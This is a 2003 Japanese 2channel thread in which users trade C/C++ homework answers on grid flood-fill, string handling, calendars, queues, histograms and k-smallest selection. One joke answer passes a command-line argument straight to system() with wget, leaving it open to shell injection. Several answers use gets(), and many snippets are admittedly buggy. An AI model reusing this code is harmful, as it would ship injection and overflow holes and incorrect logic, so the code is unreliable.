例えば int hensuA, hensuB, hensuC・・・hensuZ; のようにA〜Zまで宣言をしたいのですが、一つずつ書くのではなくASCIIコードを使って効率的に書く方法教えて下さい。
391 :
デフォルトの名無しさん :03/11/04 20:49
ここって問題放り投げてもいいのかな?(w tcp/ipを使って簡単なhttpクライアントを作ってくださいまし
392 :
デフォルトの名無しさん :03/11/04 20:53
>>391 #include <stdlib.h>
#include <string.h>
int main(int c,char *argv[])
{
char com[12345]="/usr/bin/wget ";
if(c<2)
return 1;
strncat(com,argv[1],12344);
system(com);
return 0;
}
>>389 int hensu[CHAR_MAX};
hensu['A'] = 300;
hensu['B'] = 500;
printf("%d", hensu['A'] + hensu['B']);
>>319 は const の意味を分かっているのだろうか
>>392 短っ!!
つーか通信してないし・・・
一応適当にぐぐったら
簡単なソース見つけたんで
それ参考にしようと思います
お騒がせしました
>>389 #define A2Z(n) n##A,n##B,n##C,n##D,n##E,n##F,n##G,n##H,n##I,n##J,n##K,n##L,n##M,n##N,n##O,n##P,n##Q,\
n##R,n##S,n##T,n##U,n##V,n##W,n##X,n##Y,n##Z
int A2Z(hensu);
>>398 ありがとうございます。
こちらの方が理想的な形で宣言できてますね。
でも、効率化という意味でいうと
>>393 のほうがいいかも。
main() { int i; for(i='A'; i<='Z';i++) printf("int hensu%c;\n",i); }
>>402 漏れだって、perl使って書いたのに・・・
いや、手打ちしたよ
すみません誰か教えてもらえないでしょうか? 私は今プログラマーを目指して勉強中なのですが,あるテキストにコマンドラインから引数を渡す方法と言う例題がありましたので それをコンパイル実行してみますと、引数の数が違いますと設定したエラーメッセー字が出てきまして ぜんぜんコマンドラインからファイル名を入力することができません 私の環境はWinXP VC++6.0を使ってCをしています 以下に例題プログラムを記述しておきますので参照してください コマンドラインから mycopy aaa.c bbb.c(例)と実行してみましたがなにもなりませんエラーが出るだけです やり方が悪かったのでしょうか 宜しくお願いします VC++6.0のメニューから[プロジェクト]→[設定]→[デバッグ]タブで引数を「aaa bbb」とすれば実行できるのですが、 本当に初心者で申し訳ありませんが コマンドラインから実行方法教えてもらえませんでしょうか?
#include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) { FILE *fin ,*fout; char s[256]; if(argc!=3){ printf("引数の数が違います\n"); exit(1); } if((fin=fopen(argv[1],"r"))==NULL){ printf("入力ファイルがオープンできません\n"); exit(1); } if((fout=fopen(argv[2],"w"))==NULL){ printf("出力ファイルがオープンできません\n"); exit(1); } while(fgets(s,256,fin)!=NULL){ fputs(s,fout); } fclose(fin); fclose(fout); }
407 :
デフォルトの名無しさん :03/11/04 23:56
mainでexitか。
408 :
デフォルトの名無しさん :03/11/05 00:20
5×5の配列を表示して、適当に7個の要素をマークしたとします。 (↑これは乱数を使って作りました) このとき、上下左右に繋がっているマークされた要素を一まとまりと考えて、 まとまりの個数を数えたいんですが、どういう考え方をすればいいんでしょうか? ■□□□□ □■■□□ □□■□■ □□□□□ ■■□□□ ■マーク 上の例なら、まとまりは4個と数えたいんですが。 お願いします。
>>408 3個以上の数珠繋ぎは何個と判定する??
>>408 どういう文脈の宿題かわからないが、普通に上下左右を調べてつながってるかどうか
調べていけばいいんじゃないか?
#include <stdio.h> #include <stdlib.h> #include <time.h> #define def_WHITE 0 #define def_BLACK 1 int g_Table[5][5]; void EraseBlack (int,int); int main (void) { int i,GroupNum; /* ランダムなテーブル作成 */ srand(time(NULL)); for (i=0;i<25;i++) { if (rand()%3) g_Table[i%5][i/5] = def_WHITE; else g_Table[i%5][i/5] = def_BLACK; } /* 塊を探す */ GroupNum = 0; for (i=0;i<25;i++) { if (g_Table[i%5][i/5] == def_BLACK) { GroupNum++; printf ("---------- %d ----------\n",GroupNum); EraseBlack(i%5,i/5); } } return 0; }
void EraseBlack (int x ,int y) { int i; for (i=0;i<25;i++) { if (g_Table[i%5][i/5] == def_WHITE) printf("□"); else printf("■"); if (i%5 == 4) printf("\n"); } printf("\n"); g_Table[x][y] = def_WHITE; if (x>0) if (g_Table[x-1][y] == def_BLACK) EraseBlack(x-1,y); if (x<4) if (g_Table[x+1][y] == def_BLACK) EraseBlack(x+1,y); if (y>0) if (g_Table[x][y-1] == def_BLACK) EraseBlack(x,y-1); if (y<4) if (g_Table[x][y+1] == def_BLACK) EraseBlack(x,y+1); }
C言語の問題 文字列をキーボードから入力、strlenを使わずに その文字数を表示する文字列ポインタを用いたプログラムを作りたいのです 文字列配列を利用した場合は出来たのですが ↓ #include <stdio.h> #include <string.h> int main() { char str[100]; int i; while(scanf("%s",str)==1){ if(strcmp(str,"end")==0) break; while( str[i] ){ i++; } printf("文字列 %s の長さは %d です.\n", str, i); } return 0; }
>>413 >出来たのですが
出来たならいいじゃん。こんなのは反則かね。
printf(" -> %d文字\n",printf("%s",str));
後、iは0に初期化して置くように。
すみません。 誰かDUFFING方程式のCで作ったプログラムお持ちで無いですか??
>>saki
渡すファイル名をダブルコーテーションでかこんでもだめですか
>>408 今黒の時 右と下を調べて黒なら調べた先を数えないとマークする。
上から順に右に捜査していく。
>>413 char *pstr;
;
pstr = str;
i = 0;
while( *(pstr++) ){++i}
>>413 文字列ではなくキーボードから入力した文字数を表示するだけなら
こんな感じで
main()
{
int len = 0;
for (;;) {
int ch = getchar();
if (ch == EOF || ch == '\n')
break;
++len;
}
printf("%d\n", len);
}
捜査->走査 i = 0; while( *(pstr++) ){++i} -> while( *(pstr++) ); i = --pstr - str;
420 :
デフォルトの名無しさん :03/11/05 03:41
「入力した英字小文字を大文字に変換して出力するプログラム」 をお願いします。
421 :
デフォルトの名無しさん :03/11/05 03:46
ソースコードってプリプロセッサへの指示、コンパイル、リンク、 ってな感じで3段階に分けて実行コードに変換されますよねー。 その有用性ってなんだろ。
>>421 このスレの前の方で答えたような気がする(うろ覚え
>>417 これは何個?
□□■□■
□■■■■
□□□□□
□□□□□
□□□□□
あーそうだな。だめだな。
426 :
デフォルトの名無しさん :03/11/05 14:04
>>413 int main()
{
int mojisu;
char moji[100];
gets(noji);
mojisu = printf("\n%s\n",moji);
printf("mojisu = %d",mojisu);
return 0;
}
427 :
ごめん間違えた :03/11/05 14:06
int main() { int mojisu; char moji[100]; gets(moji); mojisu = printf("%s",moji); printf("mojisu = %d",mojisu); return 0; }
>420 #include <stdio.h> #include <string.h> #include <ctype.h> int main() { int mojisu; int i; char moji[100]; printf("小文字を大文字にします。入力して下さい。\n"); gets(moji); mojisu = strlen(moji); for(i=0; i<mojisu; i++){ moji[i] = (char)toupper(moji[i]); } printf("%s",moji); return 0; }
与えられた構造体と関数を使って、キュー(リングバッファ)の動作を確認するプログラムを作成せよ。 struct queue{ int *array; int size; int head; int tail; }; struct queue *newqueue(int size){ struct queue *q = (struct queue *)malloc(sizeof(struct queue)); if(q==NULL){perror("malloc");exit(1);} q->array=(int *)malloc(size * sizeof(int)); if(q->array==NULL){perror("malloc"); exit(1);} q->size=size; q->head=0; q->tail=0; return q; }
void enqueue(struct queue *q,int d){ if((q->tail+1)%q->size==q->head) {fprintf(stderr, "queue full\n");exit(1);} q->array[q->tail]=d; q->tail=(q->tail+1)%q->size; } int dequeue(struct queue *q){ int i; if(q->tail==q->head){fprintf(stderr,"queue empty\n");exit(1);} i=q->array[q->head]; q->head=(q->head+1)%q->size; return i; }
上のプログラムをさらに改造し、reallocとmemcopyを必要ならば用いて、 キューサイズの上限をなくせ。
CPU128とジャンケン(一度に)するCのプログラムお願いします。
>432 省略方法がアホで題意がさっぱり汲めん。CPU128ってのはどこの誰だ。 あと、お前は何様だ。パパとママの愛情が足りなかったのか?
434 :
デフォルトの名無しさん :03/11/05 18:14
>>433 分からないことに対して無理にレスする必要はないよ。
入力した年月からグレゴリオ暦を作成せよ、 ってヤツなんですがうまく作成できません…。 誰か助けて下さい…。 #include<stdio.h> main() { static int month[]={0,31,28,31,30,31,30,31,31,30,31,30,31}; int y,m,bias,k,sum,week,day; while(1) { do { printf("Input Year and Month = "); scanf("%d %d",&y,&m); } while(!(y>=1582 && (m>=1 && m<=12))); if(y%4==0 && (!(y%100==0 && y%400!=0))) month[2]=29; else month[2]=28; bias=y+y/4-y%100+y%400; ←これが違う気が…。
上の続きです。 sum=0; for(k=1;k<m;k++) sum=sum+month[k]; week=(bias+sum)%7; printf("\n---%d/%d---\n",y,m); printf(" sun mon tue wed thu fri sat \n"); for(k=0;k<week*4;k++) printf(" "); for(day=1;day<=month[m];day++) { printf("%4d",day); if((week+day)%7==0) printf("\n"); } printf("\n\n"); } }
guregorio-reki tte nani?
年と月からグレゴリオ式の「こよみ」=カレンダーを吐くって事かな? ツェラーの公式で検索するとソースがそのまま見つかる。
14-17行目のif文は month[2]+=(y%4==0)-(y%100==0)+(y%400==0); は1つにまとめ >bias=y+y/4-y%100+y%400; bias=y+y/4-y/100+y/400; でいいんじゃないの? 実際途中で(bias求めた直後あたり) yとbiasをprintf("%d %d\n",y,bias);で出力してみてこちらが 思った通りの動作をしているか調べてみては? 他の変数についても同様、最終結果のみにかかわらず 途中のどこでおかしくなったか逐次出力することを すすめる。 使わなくなったらコメントかif(0){ }でくくればいいわけだし
>437 今使われている暦のことだそうです。 >438 素早いレスありがとうございます! 年と月からカレンダーを吐くんですが、 ツェラーの公式で調べると年月日から曜日を特定、 しか見つけられなかったんです…。 >439 丁寧にありがとうございます! 自分自身がきちんと理解できていないので、 どこを調べたらいいかよくわからないのです…。 もうちょっと勉強してみますね!
C言語の講義で キーボードから入力された文字列から、 使用された文字の回数が多い順に表示されるプログラムを作成しなさい。 ・文字はアルファベットの小文字のみカウントして表示すればよい。 という課題が課せられたのですが文字のカウント方法がサッパリ分からなくて途方に暮れています。 どなたかご教授願えませんでしょうか?
int counts[CHAR_MAX]; counts[getchar()]++; エラー処理とか省いてるのでその辺は自分で。
>>441 string.hを使わないやり方で
入力文字列をa[]
文字列b[27]="abc…xyz"と
int型のj,kとint型配列 c[26](始めに全て0にしておく)を用意して
j=0;
while(a[j])
{
k=0;
while(b[k])
{
if(a[j]==b[k]) c[j]++;/*a[]のj文字目がb[]のk文字と合致した*/
k++;
}
j++
}
をどこかに組み込めば各文字の出た回数が求まると思うのは前半
並べ替は後で
444 :
デフォルトの名無しさん :03/11/05 20:07
問題 10個の自然数が与えられたとする。このときもし同じものがあれば一つにまとめて 全部で何種類の自然数があるかを調べよ。 例 1、2、2、4、12、7、4、7、5、2 →1と2と4と5と7と12 合計6種類 この問題なんですが、自分が考えた方法は (1)まず変数を10個用意 (2)その変数に与えられた自然数を代入 (3)a[0]とa[1]を比較、a[0]とa[2]を比較・・・ a[1]とa[2]を比較、a[1]とa[3]を比較・・・ a[8]とa[9]を比較 と、総当り方式で同じ値かを判定してゆく というものなのですが、例えばa[0]とa[3]が同じ値だとしたら、その時点でa[3]を考察から除外したいのです。 つまり「a[0]=a[3]ならばa[1]とa[3]の比較はしない」という操作を行いたいんです。 ソースで言うと↓こんな感じでしょーか。(記号はほとんど省いてます) int a[10]; cin>>a[0]>>省略>>a[9]; for(i=0; i<=8; i++) for(j=i+1; j<=9; j++) if(a[i]==a[j]) {ここで何らかの操作} おながいします!!!
445 :
デフォルトの名無しさん :03/11/05 20:08
446 :
デフォルトの名無しさん :03/11/05 20:10
ソートってなんすか!!
std::sortとstd::uniqueを使えば一発なんだがだめだよね?
448 :
デフォルトの名無しさん :03/11/05 20:11
>>446 整列
1,2,2,4,12,7,4,7,5,2
を
1,2,2,2,4,4,5,7,7,12
にすれば楽でしょ?
std::set<int>とsize()で一発やん。
450 :
デフォルトの名無しさん :03/11/05 20:13
楽そうです。 でもやり方わかんないです。 とゆうかまだ三日目なんで基本的な方法しか使わないでやるっぽいです
452 :
デフォルトの名無しさん :03/11/05 20:14
for文とかif,whileなどしか習ってないんで その範囲でなんとかならないでしょーか
do...whileは使ってはいけないということか・・・これは難しいな
>>444 int v[10] = {1, 2, 2, 4, 12, 7, 4, 7, 5, 2};
std::map<int, bool> m;
for (int i = 0; i < 10; i++)
m[v[i]]=true;
std::cout << m.size();
455 :
デフォルトの名無しさん :03/11/05 20:16
>>444 3日目か。
それじゃあ,バイナリツリーは不可だな。
習ってる? バイナリツリー??
>>454 #include <set>
#include <iostream>
main()
{
int v[10] = {1, 2, 2, 4, 12, 7, 4, 7, 5, 2};
std::cout << std::set<int>(v, v+10).size() << std::endl;
}
>>451 通ったけど。
全角スペースが入ってるとかじゃないの?
460 :
デフォルトの名無しさん :03/11/05 21:09
次の処理を行うために、配列を使ったプログラムとポインタを使ったプログラムの 2種類プログラムを作成せよ。 (1)配列に文字列”This class is the programming”を代入する。 (2)単語舞に分割してそれぞれを新たに配列に代入する。 すなわち”This” “class” “is” “the” “programming”の5つに分ける。 この処理を使ったものと、ポインタを使ったものの2種類のプログラミングを作成する。
ちなみにその場合の毎は”ゴト”って読みます。 これも2ch用語かな?
×領布(ひれ) ○頒布(はんぷ) つい最近知った。 だってみんなも間違えてるんだもん(;;)
>444 記録用のガイシュツリストを別に用意。 与えられた数字の1つに対してガイシュツリストを総当り、なかったらガイシュツリストに追加。 これを10回繰り返し、最後にガイシュツリストの中身を検討。 かなり原始的だが、配列だけでできるはず。 ちなみに>454は数字と一対一対応のチェックリストを作っている。 >457は同じものを1つにまとめてくれる魔法のツボに丸ごと叩き込んで中身の数を数えてる。 >462 ガイシュツって普通に言っちまうよな。某局アナじゃないけど。
>>454 そのループ構造尊重すると
「a[0]=a[3]ならばa[0]を表示しない」
つまり
「同じモノが見つからなかったら,a[0]を表示する」
方が話は簡単。
ご希望を満たすには,こんな風になっちゃう。
int size=10;
for(i=0; i<=size-2; i++)
for(j=i+1; j<=size-1; j++)
if(a[i]==a[j])
{ --size; memmove(a+j,a+j+1,size-j); }
>>454 「同じモノが見つからなかったら,a[0]を表示する」
int n=0;
for(i=0; i<10; i++)
for(j=i+i; 1; j++){
if( j==10 ){ cout<<" "<<a[i]; ++n; break; }
if( a[i]==a[j] ) break;
}
cout<<endl;
cout<<"全部で"<<n<<"種類"<<endl;
>>460 1) char a[]=This class is the programming”;
2)char *b[5];
char *p;
char **pp;
pp=b[4];
for(p=a+sizeof(a); p>=a; --a)
if(isspace(*p)){ *p='\0'; *(pp--)=p+1; }
エラー内容を書かない厨は放置
そんな事いうと、質問の仕方のわからないやつが 30個のエラーまとめて貼り付けてくるぞ
>>467 全角スペースを半角スペース2個に置換せよ。
>>443 ありがとうございました。
ご教授いただいたソースの理解と並べ替えの関数について勉強してまいります。
>>405 まだ見てるか?そういうときはな、
・引数の数が違います と出る
・すなわち、if(argc!=3)にヒットしてるということになる
・すなわち、"mycopy aaa.c bbb.c"はargcが3ではないということ
・ではいったいいくつになるのか?それを確認すればよい。
こんなん作ってさ。
#include <stdio.h>
int main(int argc, char *argv[])
{
printf'"argcは、実は%dなのです!\n",argc);
return 0;
}
またつまらないミスをしてしまった…。 #include <stdio.h> int main(int argc, char *argv[]) { printf("argcは、実は%dなのです!\n",argc); return 0; }
474 :
デフォルトの名無しさん :03/11/06 01:21
問3. 行数と列数を入力として受け付けて、以下のようなアルファベットの列を出力せよ。 例:入力が20 行、20 列の場合 abcdefghijklmnopqrst bcdefghijklmnopqrstu cdefghijklmnopqrstuv defghijklmnopqrstuvw efghijklmnopqrstuvwx fghijklmnopqrstuvwxy ghijklmnopqrstuvwxyz hijklmnopqrstuvwxyza ijklmnopqrstuvwxyzab jklmnopqrstuvwxyzabc klmnopqrstuvwxyzabcd lmnopqrstuvwxyzabcde mnopqrstuvwxyzabcdef nopqrstuvwxyzabcdefg opqrstuvwxyzabcdefgh pqrstuvwxyzabcdefghi qrstuvwxyzabcdefghij rstuvwxyzabcdefghijk stuvwxyzabcdefghijkl tuvwxyzabcdefghijklm 例:入力が3 行3 列の場合 abc bcd cde
>>408 #include <stdio.h>
#include <time.h>
#include <string.h>
#include <stdlib.h>
int iblock[7][7]; /* 0が□、1が■だとする。 番兵としてひとまわり多くとる*/
int icheck[7][7];
void saiki(int x,int y);
int main()
{
int cnt=0;
int i,x,y,flg;
char* sikaku[] = {"□","■"};
memset(iblock, 0, sizeof(iblock));
memset(icheck, 0, sizeof(iblock));
srand(time(NULL));
for(i=0;i<7;i++){
flg=1;
while(flg){
x=rand()%5+1;
y=rand()%5+1;
if(iblock[x][y]==0){
iblock[x][y]=1;
flg=0;
}
}
}
for(y=1;y<6;y++){ for(x=1;x<6;x++){ printf("%s",sikaku[iblock[x][y]]); } printf("\n"); } for(y=1;y<6;y++){ for(x=1;x<6;x++){ if(iblock[x][y] == 1 && icheck[x][y] == 0){ cnt++; saiki(x,y); } } } printf("まとまりは%d個です\n",cnt); return 0; } void saiki(int x,int y) { icheck[x][y] = 1; if(iblock[x+1][y] == 1 && icheck[x+1][y] == 0) saiki(x+1,y); if(iblock[x][y+1] == 1 && icheck[x][y+1] == 0) saiki(x,y+1); if(iblock[x-1][y] == 1 && icheck[x-1][y] == 0) saiki(x-1,y); if(iblock[x][y-1] == 1 && icheck[x][y-1] == 0) saiki(x,y-1); return; }
>>474 #include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char szalpha[27] = "abcdefghijklmnopqrstuvwxyz";
int iclm,irow,iclmin,irowin,ialpha;
if(argc<2){printf("引数は2個です\n");return 0;}
iclmin=atoi(argv[1]);
irowin=atoi(argv[2]);
for(irow=0;irow<irowin;irow++){
ialpha = irow % 26;
for(iclm=0;iclm<iclmin;iclm++){
printf("%c",szalpha[ialpha]);
if(++ialpha>=26) ialpha=0;
}
printf("\n");
}
return 0;
}
478 :
デフォルトの名無しさん :03/11/06 01:41
#include<studio.h> void main() { int a,b,c,d,wa,sa,seki,shou; printf("整数a、b、c、dを入力し、分数b/aとd/cの和、差、積、商を導き出す。\n"); printf("但し解答は全て約分されていない分数として出力される。\n"); printf("また、a、b、c、dに0を入力しないこと。\n"); /*入力*/ printf("\n"); printf("a="); scanf("%d",&a); printf("b="); scanf("%d",&b); printf("c="); scanf("%d",&c); printf("d="); scanf("%d",&d);
479 :
デフォルトの名無しさん :03/11/06 01:42
/*計算*/ wa=b/a+d/c; sa=b/a−d/c; seki=b/a*d/c; shou=b/a/(d/c); /*出力*/ printf("\n"); printf("和は%dです。\n",wa); printf("差は%dです。\n",sa); printf("積は&dです。\n",seki); printf("商は%dです。\n",shou); } これ大丈夫?
行と列が逆だった スポーン _n=======o
481 :
デフォルトの名無しさん :03/11/06 01:42
>>479 printf("積は&dです。\n",seki); でいいのか?
int row, col; std::cin >> row; std::cin >> col; for (int i = 0; i < row; ++i) { for (int j = 0; j < col; ++j) { printf("%c", 'a' + (i + j) % 26); } printf("\n"); }
>>481 ダメ?
つか分数って整数じゃないよね・・・
484 :
デフォルトの名無しさん :03/11/06 01:47
485 :
デフォルトの名無しさん :03/11/06 01:50
486 :
デフォルトの名無しさん :03/11/06 02:20
10人分の身長と体重のデータをキーボードから読み込 み、2次元配列に格納する。格納した後、身長の平均と 体重の平均をそれぞれ求めよ。
>>411-412 遅くなりましたが、ありがとうございました。
>>475-476 どうもありがとうございました。
自分でも再帰を使って作ろうと思ったんですが、マークされた要素を調べるときに、
同じ要素を2度調べないようにする方法が分からなかったです。
配列をもう一個用意すればよかったのか。
ガイシュツだったのか…。よくみろ漏れ。 まぁ若干違う方法みたいだからいいか。
490 :
デフォルトの名無しさん :03/11/06 02:50
>>486 の問題
#include<stdio.h>
int main(void){int data[10][2];int i,j;double sum_s=0,sum_t=0;
for(i=0;i<10;i++){
for(j=0;j<2;j++){
scanf("%d",&data[i][j]);
}
}j=0;
for(i=0;i<10;i++){
sum_s+=data[i][j];
}sum_s/=10;
j=1;
for(i=0;i<10;i++){
sum_t+=data[i][j];
}sum_t/=10;
printf("身長の平均は%.2f\n体重の平均は%.2f\n",sum_s,sum_t);
return(0);
}
にすると
出力が
160←身長
50←体重
150←身長
80←体重
になってしまいます
出力を
身長 体重
身長 体重
にするにはどうすれば?
>>443 で
ご教授いただいたプログラムの内容は大体理解できたのですが、
カウントした回数が多い順に並べ替えようとして四苦八苦しております。
配列cに格納したa〜zまでのカウント数を大きい順に並べ替えると、
どのカウント数がどのアルファベットに対応していたかが分からず行き詰っている次第です。
何か手はないものでしょうか?
492 :
デフォルトの名無しさん :03/11/06 03:03
5 行4列の2次元配列を適当に初期化して、行を逆順に出力せよ 例 1 2 3 4 5 6 7 8 9 1 2 3 4 5 6 7 8 9 1 2 の場合 8 9 1 2 4 5 6 7 9 1 2 3 5 6 7 8 1 2 3 4 と出力
493 :
デフォルトの名無しさん :03/11/06 03:08
>>492 #include <stdio.h>
int main()
{
int a[5][4]={省略};
int i,j;
for(i=4;i>=0;i--){
for(j=0;j<4;j++)
printf("%d ",a[i][j]);
putchar('\n');
}
return 0;
}
495 :
デフォルトの名無しさん :03/11/06 03:39
printf("身長の平均は%.2f体重の平均は%.2f\n",sum_s,sum_t);
レスくれたみなさんありがとうございます 正直全然知らない記号ばかりなので、もっと勉強してなんとか理解するレベルまでいきたいです。
498 :
デフォルトの名無しさん :03/11/06 09:35
>>490 間違えた出力じゃなくて入力の時の表示だったスマソ
499 :
デフォルトの名無しさん :03/11/06 11:22
>>486 の問題
#include<stdio.h>
int main(void){int data[10][2];int i,j;double sum_s=0,sum_t=0;
for(i=0;i<10;i++){
for(j=0;j<2;j++){
scanf("%d",&data[i][j]);
}
}j=0;
for(i=0;i<10;i++){
sum_s+=data[i][j];
}sum_s/=10;
j=1;
for(i=0;i<10;i++){
sum_t+=data[i][j];
}sum_t/=10;
printf("身長の平均は%.2f\n体重の平均は%.2f\n",sum_s,sum_t);
return(0);
}
にすると
入力時の表示が
160 ←身長
50 ←体重
150 ←身長
80 ←体重
になってしまいます
入力時の表示を
身長 体重
身長 体重
にするにはどうすれば?
1個目の \n を \t とかに変えろ。
出力ではなく入力時の表示です
502 :
デフォルトの名無しさん :03/11/06 12:11
curses
>>501 コンソールから標準入力の場合,改行が入力されるまで処理が一時停止されて,先に進まない処理系が多い。
(stdioのバッファリング動作のため)
この処理系依存の動作を変更するので,対応するにも処理系依存の操作が必要。
それでも本当にやる??
あ,バッファリングなんか操作しなくてもいいか。 ANSIエスケープシーケンスが通る端末なら \033[1A で一行上に戻れるよ。
scanf("%d%d", data[i][0], data[i][1]);
むぅ,そういうことか。 てっきりこういうのと勘違い。 int data[10][2]; int i; for(i=0; i<10; i++) { printf("weight? "); scanf("%d",&data[i][0]); printf("\33[1A"); printf("weight? %d\t",data[i][0]); printf("height? "); scanf("%d",&data[i][1]); }
char a[256]; char b[256]; に入っている文字列を比較するのに、 strcmp()を使用しない方法って何がありますか?
>>507 strncmp(), memcmp() を使う、strcmp() を自作する。
ありがとうございます。 strncmp()を使用すればstrcmp()と変わらず動きますが、 strcmp()と同じと切られそう・・・
>>431 memmoveが使いたひ。
かといってmemmove書くのも面倒なので,新しい配列確保。
{fprintf(stderr, "queue full\n");exit(1);}
↓
{
int *ptr;
int new_size = q->size+32;
ptr=realloc(NULL,new_size*sizeof(int));
if(ptr==NULL)){perror("malloc");exit(1);}
if( q->tail > q->head ){
memcpy(ptr,q->head, q->tail-q->head);
}else{
int * const q_end = q->array+q->size;
memcpy(ptr, q->head, q_end-q->head);
memcpy(ptr+(q_end-q->head), q->array, q->tail-q->array);
}
free(q->array);
q->array=ptr;
q->head=ptr;
q->tail=ptr+q->size;
q->size=new_size;
}
>>487 かなずしも2個用意する必要はないよ。
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#define def_WHITE 0
#define def_BLACK 1
#define def_PreBLACK 2
int g_Table[5][5];
void MakeBlack (int,int);
int main (void) {
int i,j,GroupNum;
freopen("Result.txt","w",stdout); srand(time(NULL));
for(j=0;j<10;j++) {
for (i=0;i<25;i++) {
if (rand()%3) g_Table[i%5][i/5] = def_WHITE;
else g_Table[i%5][i/5] = def_PreBLACK;
}
GroupNum = 0;
for (i=0;i<25;i++) {
if (g_Table[i%5][i/5] == def_PreBLACK) {
GroupNum++;
printf ("---------- %d ----------\n",GroupNum);
MakeBlack(i%5,i/5);
}
}
printf("\n\n\n");
}
return 0;
}
void MakeBlack (int x ,int y) { int i; g_Table[x][y] = def_BLACK; for (i=0;i<25;i++) { switch(g_Table[i%5][i/5]) { case def_WHITE: printf("□"); break; case def_BLACK: printf("■"); break; case def_PreBLACK: printf("●"); break; } if (i%5 == 4) printf("\n"); } printf("\n"); if (x>0) if (g_Table[x-1][y] == def_PreBLACK) MakeBlack(x-1,y); if (x<4) if (g_Table[x+1][y] == def_PreBLACK) MakeBlack(x+1,y); if (y>0) if (g_Table[x][y-1] == def_PreBLACK) MakeBlack(x,y-1); if (y<4) if (g_Table[x][y+1] == def_PreBLACK) MakeBlack(x,y+1); } ↑配列の白黒イメージを残したままの例です。 (実行結果はResult.txt)
>>511 ありがとうございます。
変更するのはその部分だけでしょうか。
エラーが出てしまうのですが。。。
newqueue関数にはどのような変更が必要でしょうか??
>>514 んがぐぐ。やばい!
q->head と q->tail をインデックスじゃなくて,ポインタとして扱ってた…
大チョンボ。
>>511 どこを直せば正しく動作するでしょうか??
>>507 おおかた「strcmpを使うな」って課題なんだろ?
>>510 のいうとおりにしろ。
strncmpでもmemcmpでもダメだっていわれるに決まってる。
518 :
デフォルトの名無しさん :03/11/07 10:19
519 :
デフォルトの名無しさん :03/11/07 10:28
>>507 *cmp系を使わないんだとしたら
#include <string>
using namepace std;
しといて
string stra = a, strb = b;
if( stra == strb ){ // 同じ }
ってやれば
>>518 パッと見、{}の辻褄が合ってない箇所がいくつかある。
521 :
デフォルトの名無しさん :03/11/07 15:13
入力した単語の長さをヒストグラム(度数分布図)にしてプリントするプログラムを書け。 ヒストグラムは横に書く方が簡単だが、縦書きに朝鮮してみるのもよい。 上記の課題をお願いします。
522 :
デフォルトの名無しさん :03/11/07 15:42
>>521 サンプルの幅(0〜100とか)はとだいたいの数は?
文字列長は0〜30として回答 #include <stdio.h> #include <string.h> void chomp(char *); int main() { char s[32]; int hist[31],i,j; while(fgets(s,sizeof s,stdin)){ chomp(s); s[31]='\0'; hist[strlen(s)]++; } for(i=0;i<31;i++){ printf("%2d: ",i); for(j=0;j<hist[i];j++) putchar('*'); putchar('\n'); } return 0; } void chomp(char *s) { size_t len=strlen(s); if(len) return; if(s[len-1]=='\n') s[len-1]='\n'; return; }
おっと! int hist[31]={0}に修正。
あと if(s[len-1]=='\n') s[len-1]='\n'; は if(s[len-1]=='\n') s[len-1]='\0'; だ なにやってんだ俺(^_^;)
さらに修正(-_-;) #include <stdio.h> #include <string.h> void chomp(char *); int main() { char s[32]; int hist[31],i,j; while(fgets(s,sizeof s,stdin)){ chomp(s); s[31]='\0'; hist[strlen(s)]++; } for(i=0;i<31;i++){ printf("%2d: ",i); for(j=0;j<hist[i];j++) putchar('*'); putchar('\n'); } return 0; } void chomp(char *s) { size_t len=strlen(s); if(!len) return; if(s[len-1]=='\n') s[len-1]='\n'; return; }
マチンの公式を使ってπを1000桁まで計算するプログラムを作って下さい。 int a[1001]; (a[0]が整数部で、a[1]が小数第1位、a[2]が小数第2位…となる) void add(int a[1001],int b[1001]) (aにbを加える) void sub(int a[1001],int b[1001]) (aからbを引く) void div(int a[1001],int x) (aをxで割る) void zero(int a[1001]) (aが0かどうか調べる) などを定義してやってみてください。おながいします。 *マチンの公式… π/4 = 4arctan1/5 - arctan1/239 (念のため)
ageたらダメだったらすみません(汗 n個の整数を要素とする1次元配列Aの中から、要素の小さな順にk個までの要素を 抽出したい。これを実現するための効率の良いアルゴリズムを考案せよ。 ただし、kはnに比べて非常に小さいものとする。 例題として参考になるHPがあれば、合わせて教えてください。 よろしくお願いします。
>>529 スレッドのタイトルを読め
ここはC/C++専用
k個の配列とその最大値をもつ変数を用意して 最大値より小さい数があれば入れ替える。 最後にソートかな。
>>531 ヒープ使えよ。
C++ なら priority_queue。
533 :
デフォルトの名無しさん :03/11/07 23:14
>529 クイックソートして小さな方からK個を抽出。 ただし、基準値より大きい方の配列はソートせずに捨てていく。 小さい方の配列だけソートを続ける。
>>529 「片側ずつだけのクイックソート」とか、
「ヒープソートの途中打ち切り」とか、はどうだろ。
あらら、ダブった。
>>533 でも、基準値より小さい方がK個に満たない場合もあるから、K個を超える
までは大きい方も捨ててはいけないと思う。
まあその場合、小さい方と軸(仮にL個とする)は確定で、大きい方から
同じアルゴリズムでさらに(K-L)個取り出せばいいわけだが。
>>533 途中までしか取り出さないのに全部ソートするのはもったいないって。
C++ の priority_queue はいわゆるヒープ構造してるから、
priority_queue に n 個値を挿入後、k 個値を取り出せば OK。
priority_queueで何回比較が行われるか分かるのか?
>>537 ソース見れば分かるよ。
ほんとにただのヒープだから。
i 個目の要素の挿入に log i 回、
j 個要素が入ってる状態で値の取り出しに log j 回の比較とスワップ。
合計で Σ_(i=1)^n log i + Σ_(j=1)^k log j 回の比較かな。
↑
適当だから間違ってるかも。
なぜ531より後から531より効率の悪いネタばかり出てくるんだ?
531はそんなに効率よくないよ。 交換するごとに最大値を求めなおすから、Kが大きいと不利だと思う。
わざわざkがnに比べて非常に小さいという制限が付いているのに?
>>542 k=1億、n=1兆、という場合だってあり得るかと。
「非常に」の定義があいまいだが、1万分の1だったら当てはまるのでは。
計算量を測るときにnの次数で判定しろってことじゃないの? nとlog nってどっちが大きかったっけ?
531の配列をソート済みリストにすれば n*log(k)
超能力で一発で当てる O(1)
ソートにかかる計算量忘れてない? (n-k)*k*log(k)*log(k) ソートしなかったら (n-k)*k
(n-k)*k + k*log(k)
(n-k)*(k*log(k)+log(k))
n_array = n個の入力整数配列
k_list = 昇順自動整列の出力先リスト
for( i in n_array )
{
if ( k_list.count()<k || i<k_list.max_value() )
{
k_list.insert( i );
if ( k_list.count()>k ) k_list.remove_max_value();
}
}
